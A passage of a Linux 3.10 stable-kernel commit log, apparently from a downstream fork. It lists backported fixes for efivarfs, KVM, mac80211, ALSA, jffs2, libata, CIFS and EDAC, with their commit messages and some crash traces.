pstore filesystem can be backed by UEFI variables, and (for example) a crash might dump the last kilobytes of the dmesg into a number of pstore entries, each entry backed by a separate UEFI variable in the above GUID namespace, and with a variable name according to the above pattern. Please see "drivers/firmware/efi/efi-pstore.c". While this patch series will not prevent the user from deleting those UEFI variables via the pstore filesystem (i.e., deleting a pstore fs entry will continue to delete the backing UEFI variable), I think it would be nice to preserve the possibility for the sysadmin to delete Linux-created UEFI variables that carry portions of the crash log, *without* having to mount the pstore filesystem.' There's also no chance of causing machines to become bricked by deleting these variables, which is the whole purpose of excluding things from the whitelist. Use the LINUX_EFI_CRASH_GUID guid and a wildcard '*' for the match so that we don't have to update the string in the future if new variable name formats are created for crash dump variables. Reported-by: Laszlo Ersek Acked-by: Peter Jones Tested-by: Peter Jones Cc: Matthew Garrett Cc: "Lee, Chun-Yi" Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32b163139bdb1b0dea3f8467d3a79b77693c8a50 Author: Peter Jones Date: Mon Feb 8 14:48:15 2016 -0500 efi: Make efivarfs entries immutable by default commit ed8b0de5a33d2a2557dce7f9429dca8cb5bc5879 upstream. "rm -rf" is bricking some peoples' laptops because of variables being used to store non-reinitializable firmware driver data that's required to POST the hardware. These are 100% bugs, and they need to be fixed, but in the mean time it shouldn't be easy to *accidentally* brick machines. We have to have delete working, and picking which variables do and don't work for deletion is quite intractable, so instead make everything immutable by default (except for a whitelist), and make tools that aren't quite so broad-spectrum unset the immutable flag. Signed-off-by: Peter Jones Tested-by: Lee, Chun-Yi Acked-by: Matthew Garrett Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e59f877567d2d6c6d1280df3f0e1f942eb7c238 Author: Peter Jones Date: Mon Feb 8 14:48:14 2016 -0500 efi: Make our variable validation list include the guid commit 8282f5d9c17fe15a9e658c06e3f343efae1a2a2f upstream. All the variables in this list so far are defined to be in the global namespace in the UEFI spec, so this just further ensures we're validating the variables we think we are. Including the guid for entries will become more important in future patches when we decide whether or not to allow deletion of variables based on presence in this list. Signed-off-by: Peter Jones Tested-by: Lee, Chun-Yi Acked-by: Matthew Garrett Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c84c6b7b2b054c85462e0c2838b6dbe713e9390 Author: Peter Jones Date: Mon Feb 8 14:48:13 2016 -0500 efi: Do variable name validation tests in utf8 commit 3dcb1f55dfc7631695e69df4a0d589ce5274bd07 upstream. Actually translate from ucs2 to utf8 before doing the test, and then test against our other utf8 data, instead of fudging it. Signed-off-by: Peter Jones Acked-by: Matthew Garrett Tested-by: Lee, Chun-Yi Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce52e51c1dd148b1172fc274be9a62c8032015d3 Author: Peter Jones Date: Mon Feb 8 14:48:12 2016 -0500 efi: Use ucs2_as_utf8 in efivarfs instead of open coding a bad version commit e0d64e6a880e64545ad7d55786aa84ab76bac475 upstream. Translate EFI's UCS-2 variable names to UTF-8 instead of just assuming all variable names fit in ASCII. Signed-off-by: Peter Jones Acked-by: Matthew Garrett Tested-by: Lee, Chun-Yi Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96cae8a5ff0121c46832189367d384735bf5dda7 Author: Peter Jones Date: Mon Feb 8 14:48:11 2016 -0500 lib/ucs2_string: Add ucs2 -> utf8 helper functions commit 73500267c930baadadb0d02284909731baf151f7 upstream. This adds ucs2_utf8size(), which tells us how big our ucs2 string is in bytes, and ucs2_as_utf8, which translates from ucs2 to utf8.. Signed-off-by: Peter Jones Tested-by: Lee, Chun-Yi Acked-by: Matthew Garrett Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dbfdbd0eec234eb01b05b0a333054bb4b064c64 Author: Marcelo Tosatti Date: Wed Oct 14 19:33:09 2015 -0300 KVM: x86: move steal time initialization to vcpu entry time commit 7cae2bedcbd4680b155999655e49c27b9cf020fa upstream. As reported at https://bugs.launchpad.net/qemu/+bug/1494350, it is possible to have vcpu->arch.st.last_steal initialized from a thread other than vcpu thread, say the iothread, via KVM_SET_MSRS. Which can cause an overflow later (when subtracting from vcpu threads sched_info.run_delay). To avoid that, move steal time accumulation to vcpu entry time, before copying steal time data to guest. Signed-off-by: Marcelo Tosatti Reviewed-by: David Matlack Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be081f56d998920a37a7f7b2f6d3481bed3781e4 Author: Andreas Schwab Date: Fri Feb 5 19:50:03 2016 +0100 powerpc: Fix dedotify for binutils >= 2.26 commit f15838e9cac8f78f0cc506529bb9d3b9fa589c1f upstream. Since binutils 2.26 BFD is doing suffix merging on STRTAB sections. But dedotify modifies the symbol names in place, which can also modify unrelated symbols with a name that matches a suffix of a dotted name. To remove the leading dot of a symbol name we can just increment the pointer into the STRTAB section instead. Backport to all stables to avoid breakage when people update their binutils - mpe. Signed-off-by: Andreas Schwab Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 72f27bae7a7d00da1422a2b7374c041a741d1574 Author: Felix Fietkau Date: Thu Feb 18 19:49:18 2016 +0100 mac80211: minstrel_ht: set default tx aggregation timeout to 0 commit 7a36b930e6ed4702c866dc74a5ad07318a57c688 upstream. The value 5000 was put here with the addition of the timeout field to ieee80211_start_tx_ba_session. It was originally added in mac80211 to save resources for drivers like iwlwifi, which only supports a limited number of concurrent aggregation sessions. Since iwlwifi does not use minstrel_ht and other drivers don't need this, 0 is a better default - especially since there have been recent reports of aggregation setup related issues reproduced with ath9k. This should improve stability without causing any adverse effects. Acked-by: Avery Pennarun Signed-off-by: Felix Fietkau Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d78981155ce0fcbc72c9e1a2afbe1ee9c226a33f Author: Chris Bainbridge Date: Wed Jan 27 15:46:18 2016 +0000 mac80211: fix use of uninitialised values in RX aggregation commit f39ea2690bd61efec97622c48323f40ed6e16317 upstream. Use kzalloc instead of kmalloc for struct tid_ampdu_rx to initialize the "removed" field (all others are initialized manually). That fixes: UBSAN: Undefined behaviour in net/mac80211/rx.c:932:29 load of value 2 is not a valid value for type '_Bool' CPU: 3 PID: 1134 Comm: kworker/u16:7 Not tainted 4.5.0-rc1+ #265 Workqueue: phy0 rt2x00usb_work_rxdone 0000000000000004 ffff880254a7ba50 ffffffff8181d866 0000000000000007 ffff880254a7ba78 ffff880254a7ba68 ffffffff8188422d ffffffff8379b500 ffff880254a7bab8 ffffffff81884747 0000000000000202 0000000348620032 Call Trace: [] dump_stack+0x45/0x5f [] ubsan_epilogue+0xd/0x40 [] __ubsan_handle_load_invalid_value+0x67/0x70 [] ieee80211_sta_reorder_release.isra.16+0x5ed/0x730 [] ieee80211_prepare_and_rx_handle+0xd04/0x1c00 [] __ieee80211_rx_handle_packet+0x1f3/0x750 [] ieee80211_rx_napi+0x447/0x990 While at it, convert to use sizeof(*tid_agg_rx) instead. Fixes: 788211d81bfdf ("mac80211: fix RX A-MPDU session reorder timer deletion") Signed-off-by: Chris Bainbridge [reword commit message, use sizeof(*tid_agg_rx)] Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c28298f775dd620feb0ebdd0a2d691d84eb27203 Author: Johannes Berg Date: Wed Jan 27 12:37:52 2016 +0100 wext: fix message delay/ordering commit 8bf862739a7786ae72409220914df960a0aa80d8 upstream. Beniamino reported that he was getting an RTM_NEWLINK message for a given interface, after the RTM_DELLINK for it. It turns out that the message is a wireless extensions message, which was sent because the interface had been connected and disconnection while it was deleted caused a wext message. For its netlink messages, wext uses RTM_NEWLINK, but the message is without all the regular rtnetlink attributes, so "ip monitor link" prints just rudimentary information: 5: wlan1: mtu 1500 qdisc mq state DOWN group default link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff Deleted 5: wlan1: mtu 1500 qdisc noop state DOWN group default link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff 5: wlan1: link/ether (from my hwsim reproduction) This can cause userspace to get confused since it doesn't expect an RTM_NEWLINK message after RTM_DELLINK. The reason for this is that wext schedules a worker to send out the messages, and the scheduling delay can cause the messages to get out to userspace in different order. To fix this, have wext register a netdevice notifier and flush out any pending messages when netdevice state changes. This fixes any ordering whenever the original message wasn't sent by a notifier itself. Reported-by: Beniamino Galvani Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b49456488e80388ae00a2b49b3e45100ee3db450 Author: Takashi Iwai Date: Mon Feb 29 18:01:12 2016 +0100 ASoC: wm8958: Fix enum ctl accesses in a wrong type commit d0784829ae3b0beeb69b476f017d5c8a2eb95198 upstream. "MBC Mode", "VSS Mode", "VSS HPF Mode" and "Enhanced EQ Mode" ctls in wm8958 codec driver are enum, while the current driver accesses wrongly via value.integer.value[]. They have to be via value.enumerated.item[] instead. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a46d6b4107159613f25c95ae31dbc42de44edc5b Author: Takashi Iwai Date: Mon Feb 29 18:01:15 2016 +0100 ASoC: wm8994: Fix enum ctl accesses in a wrong type commit 8019c0b37cd5a87107808300a496388b777225bf upstream. The DRC Mode like "AIF1DRC1 Mode" and EQ Mode like "AIF1.1 EQ Mode" in wm8994 codec driver are enum ctls, while the current driver accesses wrongly via value.integer.value[]. They have to be via value.enumerated.item[] instead. Signed-off-by: Takashi Iwai Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8088a3238941d7372f8c4c7ce33bc859d0559ae3 Author: Steven Rostedt (Red Hat) Date: Wed Mar 9 11:58:41 2016 -0500 tracing: Fix check for cpu online when event is disabled commit dc17147de328a74bbdee67c1bf37d2f1992de756 upstream. Commit f37755490fe9b ("tracepoints: Do not trace when cpu is offline") added a check to make sure that tracepoints only get called when the cpu is online, as it uses rcu_read_lock_sched() for protection. Commit 3a630178fd5f3 ("tracing: generate RCU warnings even when tracepoints are disabled") added lockdep checks (including rcu checks) for events that are not enabled to catch possible RCU issues that would only be triggered if a trace event was enabled. Commit f37755490fe9b only stopped the warnings when the trace event was enabled but did not prevent warnings if the trace event was called when disabled. To fix this, the cpu online check is moved to where the condition is added to the trace event. This will place the cpu online check in all places that it may be used now and in the future. Fixes: f37755490fe9b ("tracepoints: Do not trace when cpu is offline") Fixes: 3a630178fd5f3 ("tracing: generate RCU warnings even when tracepoints are disabled") Reported-by: Sudeep Holla Tested-by: Sudeep Holla Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1e6046d28fc9e31c3c2604a962ad07b4c8c33da Author: Radim KrÄmář Date: Fri Mar 4 15:08:42 2016 +0100 KVM: VMX: disable PEBS before a guest entry commit 7099e2e1f4d9051f31bbfa5803adf954bb5d76ef upstream. Linux guests on Haswell (and also SandyBridge and Broadwell, at least) would crash if you decided to run a host command that uses PEBS, like perf record -e 'cpu/mem-stores/pp' -a This happens because KVM is using VMX MSR switching to disable PEBS, but SDM [2015-12] 18.4.4.4 Re-configuring PEBS Facilities explains why it isn't safe: When software needs to reconfigure PEBS facilities, it should allow a quiescent period between stopping the prior event counting and setting up a new PEBS event. The quiescent period is to allow any latent residual PEBS records to complete its capture at their previously specified buffer address (provided by IA32_DS_AREA). There might not be a quiescent period after the MSR switch, so a CPU ends up using host's MSR_IA32_DS_AREA to access an area in guest's memory. (Or MSR switching is just buggy on some models.) The guest can learn something about the host this way: If the guest doesn't map address pointed by MSR_IA32_DS_AREA, it results in #PF where we leak host's MSR_IA32_DS_AREA through CR2. After that, a malicious guest can map and configure memory where MSR_IA32_DS_AREA is pointing and can therefore get an output from host's tracing. This is not a critical leak as the host must initiate with PEBS tracing and I have not been able to get a record from more than one instruction before vmentry in vmx_vcpu_run() (that place has most registers already overwritten with guest's). We could disable PEBS just few instructions before vmentry, but disabling it earlier shouldn't affect host tracing too much. We also don't need to switch MSR_IA32_PEBS_ENABLE on VMENTRY, but that optimization isn't worth its code, IMO. (If you are implementing PEBS for guests, be sure to handle the case where both host and guest enable PEBS, because this patch doesn't.) Fixes: 26a4f3c08de4 ("perf/x86: disable PEBS on a guest entry.") Reported-by: Jiří OlÅ¡a Signed-off-by: Radim KrÄmář Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3829684d40b72d3596dcd5fa5b1c4a7250e6320e Author: Greg Kroah-Hartman Date: Wed Mar 9 15:32:23 2016 -0800 Linux 3.10.100 Signed-off-by: Pranav Vashi commit 6e06701a88fed7f9fe10a788eaa530ca8d7e0b60 Author: Greg Kroah-Hartman Date: Mon Mar 7 14:56:11 2016 -0800 Revert "drm/radeon: hold reference to fences in radeon_sa_bo_new" This reverts commit 8d5e1e5af0c667545c202e8f4051f77aa3bf31b7 which was commit f6ff4f67cdf8455d0a4226eeeaf5af17c37d05eb upstream. It breaks working hardware, a backported version might be provided at some unknown time in the future. Reported-by: Erik Andersen Acked-by: Christian König Cc: Nicolai Hähnle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a742307f4a2c4f695b25dea495380a377f01aeae Author: Richard Weinberger Date: Sun Feb 21 10:53:03 2016 +0100 ubi: Fix out of bounds write in volume update code commit e4f6daac20332448529b11f09388f1d55ef2084c upstream. ubi_start_leb_change() allocates too few bytes. ubi_more_leb_change_data() will write up to req->upd_bytes + ubi->min_io_size bytes. Signed-off-by: Richard Weinberger Reviewed-by: Boris Brezillon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12936767c5f880d103f64a0570502615994be9cf Author: Yegor Yefremov Date: Mon Feb 29 16:39:57 2016 +0100 USB: serial: option: add support for Quectel UC20 commit c0992d0f54847d0d1d85c60fcaa054f175ab1ccd upstream. Add support for Quectel UC20 and blacklist the QMI interface. Signed-off-by: Yegor Yefremov [johan: amend commit message ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6ad0f28500fbbffa5dfbd15973ab2ee624818eff Author: Daniele Palmas Date: Mon Feb 29 15:36:11 2016 +0100 USB: serial: option: add support for Telit LE922 PID 0x1045 commit 5deef5551c77e488922cc4bf4bc76df63be650d0 upstream. This patch adds support for 0x1045 PID of Telit LE922. Signed-off-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d54c9f8c60a4deb0be814353fdc519ebffa9eb63 Author: Vittorio Alfieri Date: Sun Feb 28 14:40:24 2016 +0100 USB: cp210x: Add ID for Parrot NMEA GPS Flight Recorder commit 3c4c615d70c8cbdc8ba8c79ed702640930652a79 upstream. The Parrot NMEA GPS Flight Recorder is a USB composite device consisting of hub, flash storage, and cp210x usb to serial chip. It is an accessory to the mass-produced Parrot AR Drone 2. The device emits standard NMEA messages which make the it compatible with NMEA compatible software. It was tested using gpsd version 3.11-3 as an NMEA interpreter and using the official Parrot Flight Recorder. Signed-off-by: Vittorio Alfieri Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 325d8ad5cb15803eb764a54b46d49d791e905c25 Author: Takashi Iwai Date: Sun Feb 28 11:36:14 2016 +0100 ALSA: timer: Fix broken compat timer user status ioctl commit 3a72494ac2a3bd229db941d51e7efe2f6ccd947b upstream. The timer user status compat ioctl returned the bogus struct used for 64bit architectures instead of the 32bit one. This patch addresses it to return the proper struct. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d701a2e5e683abf2278b1ff5ad4bf685abe7117f Author: Takashi Iwai Date: Mon Feb 29 14:32:42 2016 +0100 ALSA: hdspm: Fix zero-division commit c1099c3294c2344110085a38c50e478a5992b368 upstream. HDSPM driver contains a code issuing zero-division potentially in system sample rate ctl code. This patch fixes it by not processing a zero or invalid rate value as a divisor, as well as excluding the invalid value to be passed via the given ctl element. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3145d96f1babd3cd8faca8e822de48b293b8d266 Author: Takashi Iwai Date: Mon Feb 29 14:26:43 2016 +0100 ALSA: hdsp: Fix wrong boolean ctl value accesses commit eab3c4db193f5fcccf70e884de9a922ca2c63d80 upstream. snd-hdsp driver accesses enum item values (int) instead of boolean values (long) wrongly for some ctl elements. This patch fixes them. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 44386eadcb1abb9011df0547ecf84574646673fa Author: Takashi Iwai Date: Mon Feb 29 14:25:16 2016 +0100 ALSA: hdspm: Fix wrong boolean ctl value accesses commit 537e48136295c5860a92138c5ea3959b9542868b upstream. snd-hdspm driver accesses enum item values (int) instead of boolean values (long) wrongly for some ctl elements. This patch fixes them. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5971173ca54811e31859704796fe91a34a1c7d24 Author: Takashi Iwai Date: Tue Mar 1 18:30:18 2016 +0100 ALSA: seq: oss: Don't drain at closing a client commit 197b958c1e76a575d77038cc98b4bebc2134279f upstream. The OSS sequencer client tries to drain the pending events at releasing. Unfortunately, as spotted by syzkaller fuzzer, this may lead to an unkillable process state when the event has been queued at the far future. Since the process being released can't be signaled any longer, it remains and waits for the echo-back event in that far future. Back to history, the draining feature was implemented at the time we misinterpreted POSIX definition for blocking file operation. Actually, such a behavior is superfluous at release, and we should just release the device as is instead of keeping it up forever. This patch just removes the draining call that may block the release for too long time unexpectedly. BugLink: http://lkml.kernel.org/r/CACT4Y+Y4kD-aBGj37rf-xBw9bH3GMU6P+MYg4W1e-s-paVD2pg@mail.gmail.com Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c7e3c0f63f0aba7720756304110a7ee07ebe225 Author: Takashi Iwai Date: Sun Feb 28 11:41:47 2016 +0100 ALSA: timer: Fix ioctls for X32 ABI commit b24e7ad1fdc22177eb3e51584e1cfcb45d818488 upstream. X32 ABI takes the 64bit timespec, thus the timer user status ioctl becomes incompatible with IA32. This results in NOTTY error when the ioctl is issued. Meanwhile, this struct in X32 is essentially identical with the one in X86-64, so we can just bypassing to the existing code for this specific compat ioctl. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9f4ce1d786e39cfafbfa000e083e31bfd050a851 Author: Takashi Iwai Date: Sun Feb 28 11:28:08 2016 +0100 ALSA: rawmidi: Fix ioctls X32 ABI commit 2251fbbc1539f05b0b206b37a602d5776be37252 upstream. Like the previous fixes for ctl and PCM, we need a fix for incompatible X32 ABI regarding the rawmidi: namely, struct snd_rawmidi_status has the timespec, and the size and the alignment on X32 differ from IA32. This patch fixes the incompatible ioctl for X32. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db79bfef16244fa4ad2825e94e80d047b4642593 Author: Takashi Iwai Date: Sat Feb 27 17:52:42 2016 +0100 ALSA: ctl: Fix ioctls for X32 ABI commit 6236d8bb2afcfe71b88ecea554e0dc638090a45f upstream. The X32 ABI takes the same alignment like x86-64, and this may result in the incompatible struct size from ia32. Unfortunately, we hit this in some control ABI: struct snd_ctl_elem_value differs between them due to the position of 64bit variable array. This ends up with the unknown ioctl (ENOTTY) error. The fix is to add the compat entries for the new aligned struct. Reported-and-tested-by: Steven Newbury Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7775d5520da7aed93fa38ced8c7865624411aad6 Author: David Woodhouse Date: Mon Feb 1 14:04:46 2016 +0000 Fix directory hardlinks from deleted directories commit be629c62a603e5935f8177fd8a19e014100a259e upstream. When a directory is deleted, we don't take too much care about killing off all the dirents that belong to it — on the basis that on remount, the scan will conclude that the directory is dead anyway. This doesn't work though, when the deleted directory contained a child directory which was moved *out*. In the early stages of the fs build we can then end up with an apparent hard link, with the child directory appearing both in its true location, and as a child of the original directory which are this stage of the mount process we don't *yet* know is defunct. To resolve this, take out the early special-casing of the "directories shall not have hard links" rule in jffs2_build_inode_pass1(), and let the normal nlink processing happen for directories as well as other inodes. Then later in the build process we can set ic->pino_nlink to the parent inode#, as is required for directories during normal operaton, instead of the nlink. And complain only *then* about hard links which are still in evidence even after killing off all the unreachable paths. Reported-by: Liu Song Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a13023ffbf2a1fe8d922d0610b3dba28e1d9b3ca Author: David Woodhouse Date: Mon Feb 1 12:37:20 2016 +0000 jffs2: Fix page lock / f->sem deadlock commit 49e91e7079febe59a20ca885a87dd1c54240d0f1 upstream. With this fix, all code paths should now be obtaining the page lock before f->sem. Reported-by: Szabó Tamás Tested-by: Thomas Betker Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5e2e122789e1b97c96f39e0ce41f79cc7aa567d Author: Thomas Betker Date: Tue Nov 10 22:18:15 2015 +0100 Revert "jffs2: Fix lock acquisition order bug in jffs2_write_begin" commit 157078f64b8a9cd7011b6b900b2f2498df850748 upstream. This reverts commit 5ffd3412ae55 ("jffs2: Fix lock acquisition order bug in jffs2_write_begin"). The commit modified jffs2_write_begin() to remove a deadlock with jffs2_garbage_collect_live(), but this introduced new deadlocks found by multiple users. page_lock() actually has to be called before mutex_lock(&c->alloc_sem) or mutex_lock(&f->sem) because jffs2_write_end() and jffs2_readpage() are called with the page locked, and they acquire c->alloc_sem and f->sem, resp. In other words, the lock order in jffs2_write_begin() was correct, and it is the jffs2_garbage_collect_live() path that has to be changed. Revert the commit to get rid of the new deadlocks, and to clear the way for a better fix of the original deadlock. Reported-by: Deng Chao Reported-by: Ming Liu Reported-by: wangzaiwei Signed-off-by: Thomas Betker Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d595ad71c17bce6658c658eae56fa6ae1206c908 Author: Todd E Brandt Date: Wed Mar 2 16:05:29 2016 -0800 PM / sleep / x86: Fix crash on graph trace through x86 suspend commit 92f9e179a702a6adbc11e2fedc76ecd6ffc9e3f7 upstream. Pause/unpause graph tracing around do_suspend_lowlevel as it has inconsistent call/return info after it jumps to the wakeup vector. The graph trace buffer will otherwise become misaligned and may eventually crash and hang on suspend. To reproduce the issue and test the fix: Run a function_graph trace over suspend/resume and set the graph function to suspend_devices_and_enter. This consistently hangs the system without this fix. Signed-off-by: Todd Brandt Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87e2a0e106e2697b29860d36684068073dbb68e8 Author: Harvey Hunt Date: Wed Feb 24 15:16:43 2016 +0000 libata: Align ata_device's id on a cacheline commit 4ee34ea3a12396f35b26d90a094c75db95080baa upstream. The id buffer in ata_device is a DMA target, but it isn't explicitly cacheline aligned. Due to this, adjacent fields can be overwritten with stale data from memory on non coherent architectures. As a result, the kernel is sometimes unable to communicate with an ATA device. Fix this by ensuring that the id buffer is cacheline aligned. This issue is similar to that fixed by Commit 84bda12af31f ("libata: align ap->sector_buf"). Signed-off-by: Harvey Hunt Cc: linux-kernel@vger.kernel.org Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9277791af5886c733770c55da0fb8191fba255d9 Author: Arnd Bergmann Date: Thu Feb 11 14:16:27 2016 +0100 libata: fix HDIO_GET_32BIT ioctl commit 287e6611ab1eac76c2c5ebf6e345e04c80ca9c61 upstream. As reported by Soohoon Lee, the HDIO_GET_32BIT ioctl does not work correctly in compat mode with libata. I have investigated the issue further and found multiple problems that all appeared with the same commit that originally introduced HDIO_GET_32BIT handling in libata back in linux-2.6.8 and presumably also linux-2.4, as the code uses "copy_to_user(arg, &val, 1)" to copy a 'long' variable containing either 0 or 1 to user space. The problems with this are: * On big-endian machines, this will always write a zero because it stores the wrong byte into user space. * In compat mode, the upper three bytes of the variable are updated by the compat_hdio_ioctl() function, but they now contain uninitialized stack data. * The hdparm tool calling this ioctl uses a 'static long' variable to store the result. This means at least the upper bytes are initialized to zero, but calling another ioctl like HDIO_GET_MULTCOUNT would fill them with data that remains stale when the low byte is overwritten. Fortunately libata doesn't implement any of the affected ioctl commands, so this would only happen when we query both an IDE and an ATA device in the same command such as "hdparm -N -c /dev/hda /dev/sda" * The libata code for unknown reasons started using ATA_IOC_GET_IO32 and ATA_IOC_SET_IO32 as aliases for HDIO_GET_32BIT and HDIO_SET_32BIT, while the ioctl commands that were added later use the normal HDIO_* names. This is harmless but rather confusing. This addresses all four issues by changing the code to use put_user() on an 'unsigned long' variable in HDIO_GET_32BIT, like the IDE subsystem does, and by clarifying the names of the ioctl commands. Signed-off-by: Arnd Bergmann Reported-by: Soohoon Lee Tested-by: Soohoon Lee Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 947214bf0820e59dce17f1de1f3bf3ed8a97f568 Author: Timothy Pearson Date: Fri Feb 26 15:29:32 2016 -0600 drm/ast: Fix incorrect register check for DRAM width commit 2d02b8bdba322b527c5f5168ce1ca10c2d982a78 upstream. During DRAM initialization on certain ASpeed devices, an incorrect bit (bit 10) was checked in the "SDRAM Bus Width Status" register to determine DRAM width. Query bit 6 instead in accordance with the Aspeed AST2050 datasheet v1.05. Signed-off-by: Timothy Pearson Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c24cae22af0785c3c5957dafec6d43fb2d3c53ac Author: Andy Lutomirski Date: Wed Feb 24 12:18:49 2016 -0800 x86/entry/compat: Add missing CLAC to entry_INT80_32 commit 3d44d51bd339766f0178f0cf2e8d048b4a4872aa upstream. This doesn't seem to fix a regression -- I don't think the CLAC was ever there. I double-checked in a debugger: entries through the int80 gate do not automatically clear AC. Stable maintainers: I can provide a backport to 4.3 and earlier if needed. This needs to be backported all the way to 3.10. Reported-by: Brian Gerst Signed-off-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 63bcff2a307b ("x86, smap: Add STAC and CLAC instructions to control user space access") Link: http://lkml.kernel.org/r/b02b7e71ae54074be01fc171cbd4b72517055c0e.1456345086.git.luto@kernel.org Signed-off-by: Ingo Molnar [ kamal: backport to 3.10 through 3.19-stable: file rename; context ] Signed-off-by: Kamal Mostafa Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fbf2018492be06ef29703dafbb71a50703dda5a Author: Pavel Shilovsky Date: Sat Feb 27 11:58:18 2016 +0300 CIFS: Fix SMB2+ interim response processing for read requests commit 6cc3b24235929b54acd5ecc987ef11a425bd209e upstream. For interim responses we only need to parse a header and update a number credits. Now it is done for all SMB2+ command except SMB2_READ which is wrong. Fix this by adding such processing. Signed-off-by: Pavel Shilovsky Tested-by: Shirish Pargaonkar Signed-off-by: Steve French Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 429114e5da3ab89244ef6bc284763ed82c96c038 Author: Borislav Petkov Date: Tue Dec 1 15:52:36 2015 +0100 EDAC, mc_sysfs: Fix freeing bus' name commit 12e26969b32c79018165d52caff3762135614aa1 upstream. I get the splat below when modprobing/rmmoding EDAC drivers. It happens because bus->name is invalid after bus_unregister() has run. The Code: section below corresponds to: .loc 1 1108 0 movq 672(%rbx), %rax # mci_1(D)->bus, mci_1(D)->bus .loc 1 1109 0 popq %rbx # .loc 1 1108 0 movq (%rax), %rdi # _7->name, jmp kfree # and %rax has some funky stuff 2030203020312030 which looks a lot like something walked over it. Fix that by saving the name ptr before doing stuff to string it points to. general protection fault: 0000 [#1] SMP Modules linked in: ... CPU: 4 PID: 10318 Comm: modprobe Tainted: G I EN 3.12.51-11-default+ #48 Hardware name: HP ProLiant DL380 G7, BIOS P67 05/05/2011 task: ffff880311320280 ti: ffff88030da3e000 task.ti: ffff88030da3e000 RIP: 0010:[] [] edac_unregister_sysfs+0x22/0x30 [edac_core] RSP: 0018:ffff88030da3fe28 EFLAGS: 00010292 RAX: 2030203020312030 RBX: ffff880311b4e000 RCX: 000000000000095c RDX: 0000000000000001 RSI: ffff880327bb9600 RDI: 0000000000000286 RBP: ffff880311b4e750 R08: 0000000000000000 R09: ffffffff81296110 R10: 0000000000000400 R11: 0000000000000000 R12: ffff88030ba1ac68 R13: 0000000000000001 R14: 00000000011b02f0 R15: 0000000000000000 FS: 00007fc9bf8f5700(0000) GS:ffff8801a7c40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000403c90 CR3: 000000019ebdf000 CR4: 00000000000007e0 Stack: Call Trace: i7core_unregister_mci.isra.9 i7core_remove pci_device_remove __device_release_driver driver_detach bus_remove_driver pci_unregister_driver i7core_exit SyS_delete_module system_call_fastpath 0x7fc9bf426536 Code: 2e 0f 1f 84 00 00 00 00 00 66 66 66 66 90 53 48 89 fb e8 52 2a 1f e1 48 8b bb a0 02 00 00 e8 46 59 1f e1 48 8b 83 a0 02 00 00 5b <48> 8b 38 e9 26 9a fe 